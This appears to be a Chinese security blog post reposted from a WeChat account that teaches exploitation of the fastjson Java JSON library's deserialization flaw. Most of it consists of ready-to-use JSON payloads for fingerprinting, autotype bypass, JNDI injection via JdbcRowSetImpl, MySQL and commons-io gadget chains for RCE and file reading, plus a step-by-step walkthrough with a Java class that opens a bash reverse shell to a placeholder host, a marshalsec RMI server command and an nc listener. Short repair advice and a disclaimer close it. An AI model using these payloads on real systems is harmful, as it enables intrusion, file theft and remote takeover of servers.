一文学会fastjson漏洞

admin 2024年12月4日22:11:24评论2 views字数 4304阅读14分20秒阅读模式

目录

一文学会fastjson漏洞

漏洞简介

fastjson是一个高性能的json解析器和生成器,广泛用于Java项目中。fastjson允许开发者自定义反序列化行为,以便可以根据json中的不同字段自动创建不同类型的对象。
在Java中,反序列化是将字节数据(通常是json格式)转化回对象的过程。然而,fastjson在执行反序列化时,没有对json数据字段做足够的安全检查,攻击者可以构造包含恶意类的json数据,控制反序列化过程中的类加载和方法调用,从而执行恶意代码。

漏洞利用

1、判断fastjson版本

1)不同版本的fastjson适用的payload不同,可以根据可使用的payload来判断版本,例如 <1.2.43支持:

{"@type":"java.net.URL","val":"http://dnslog"}

<1.2.48支持:

{"@type":"java.net.InetAddress","val":"http://dnslog"}

2)有些通过报错信息返回fastjson版本,破坏json结构,导致报错:

{"@type":"java.lang.AutoCloseable"

2、<=1.2.24 payload

{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"rmi://vps_ip:port/TouchFile",  "autoCommit":true}
{  "a":{    "@type":"com.sun.rowset.JdbcRowSetImpl",    "dataSourceName":"rmi://vps_ip:port/TouchFile",    "autoCommit":true  }}
{  "@type":"com.alibaba.fastjson.JSONObject",  {    "@type":"com.sun.rowset.JdbcRowSetImpl",    "dataSourceName":"rmi://vps_ip:port/TouchFile",    "autoCommit":true  }}

3、<=1.2.47 payload

1.2.47版本的payload,在之前的基础上做了绕过和变形,新增用@type指定java.lang.Class类,该类是Java反射机制的基础,能动态加载目标类,可以使用该类动态加载JdbcRowSetImpl类,从而达到绕过的效果。
{  "a":{    "@type":"java.lang.Class",    "val":"com.sun.rowset.JdbcRowSetImpl"  },  "b":{    "@type":"com.sun.rowset.JdbcRowSetImpl",    "dataSourceName":"ldap://vps_ip:port/TouchFile",    "autoCommit":true  }}
{  "@type":"com.alibaba.fastjson.JSONObject",  {    "a":{      "@type":"java.lang.Class",      "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{      "@type":"com.sun.rowset.JdbcRowSetImpl",      "dataSourceName":"ldap://vps_ip:port/TouchFile",      "autoCommit":true    }  }}

4、高版本payload

在高版本的fastjson中,>=1.2.48版本中,autotype默认关闭,防止不受信任的类被实例化;如果要开启autotype,则必须启用黑白名单防护,只允许安全的类被反序列化。那么想要利用高版本fastjson漏洞,关键在于找到可利用的类,在白名单中,并且能被实例化。

1)autotype原理

autotype关闭情况下,先判断类是否在Mapping或者deserializers.findClass()中,若在,则允许实例化;若不在则判断是否在白名单中,若在白名单中,则允许实例化,否则不允许。
autotype开启情况下,直接判断类是否在白名单中,若在,则允许实例化;若不在,则不允许。

2)判断autotype是否开启

使用如下数据可以判断,其中用到java.net.URL类,这个类在黑名单中,在autotype开启的情况下,dnslog不会有响应;若autotype是关闭的,则会判断该类是否在Mapping中,而这个类刚好在,因此可以实例化,dnslog也就有响应。
{"@type":"java.net.URL","val":"http://dnslog"}

3)判断哪些类可以使用

根据返回包内容判断,例如用@type指定类为JdbcRowSetImpl,返回包提示autotype is not support,则该类无法使用;若返回create instance error,则说明该类可以使用,可能是由于缺少参数,导致实例化出错。
{"@type":"com.sun.rowset.JdbcRowSetImpl"}

4)如下两种类不在Mapping中,但是在白名单中,在autotype关闭的情况下,可以利用:一个是mysql的连接类:com.mysql.jdbc.JDBC4Connection(可RCE)、另一个是commons-io的类:org.apache.commons.io.input.BOMInputStream(可读取文件)

5)利用MYSQL连接类

{  "a":{    "@type":"com.alibaba.fastjson.JSONObject",    {      {        "@type":"java.lang.AutoCloseable",        "@type":"com.mysql.jdbc.JDBC4Connection",        "hostToConnectTo":"vps_ip",        "portToConnectTo":3306,        "info":{          "user":"yso_CommonsCollections5_calc",          "password":"pass",          "statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",          "autoDeserialize":"true",          "NUM_HOSTS":"1"        },        "databaseToConnectTo":"dbname",        "url":""      }    }  }}

其中info中的user字段的值为ysoserial的利用链类型,根据情况选择;

6)利用commons-io

{  "a":{    "@type":"java.lang.AutoCloseable",    "@type":"org.apache.commons.io.input.BOMInputStream",    "delegate":{      "@type":"org.apache.commons.io.input.ReaderInputStream",      "reader":{        "@type":"jdk.nashorn.api.scripting.URLReader",        "url":"netdoc:///e:/readfile/"      },      "charsetName":"UTF-8",      "bufferSize":1024    },    "boms":[{      "charsetName":"UTF-8",      "bytes":[99]    }]    },    "address":{      "$ref":"$.abc.BOM"    }}

其中url字段的值为想要读取的路径;bytes数组的值为路径名称的ASCII码

5、RCE过程

1)准备恶意的java文件TouchFile.java

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class TouchFile {    static {        try {            Runtime rt = Runtime.getRuntime();            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps_ip/2333 0>&1"};            Process pc = rt.exec(commands);            pc.waitFor();        } catch (Exception e) {            // do nothing        }    }}

2)将java文件编译为class

javac TouchFile.java

3)在class文件所在目录,开启http服务

python -m SimpleHTTPServer 80

4)开启RMI服务

使用工具:marshalsec

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps_ip/#TouchFile 9999

其中http://vps_ip/#TouchFile 是刚刚开启的http服务,下载恶意类TouchFile

9999是开启RMI服务的端口

一文学会fastjson漏洞

5)开启nc监听

nc -lvp 2333

6)访问漏洞点,提交payload

{    "a":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://vps_ip:9999/TouchFile",        "autoCommit":true    }}

7)触发exp,成功反弹shell

一文学会fastjson漏洞

fastjson不出网无回显

关键在于利用间接方式回显信息

1、写文件,将结果保存在网站文件中,例如js文件中,然后访问js文件获得结果

2、利用内网服务,将结果发送到内网服务器或数据库

3、利用持久化手段,例如定时任务、RMI等

修复建议

1、禁用autotype功能,防止加载不受信任的类

2、升级fastjson版本

3、对外部输入做严格验证,确保只反序列化信任的数据源

4、限制反序列化过程中的代码执行权限

END

查看更多精彩内容,关注simple学安全

原文始发于微信公众号(simple学安全):一文学会fastjson漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月4日22:11:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文学会fastjson漏洞https://cn-sec.com/archives/3466511.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息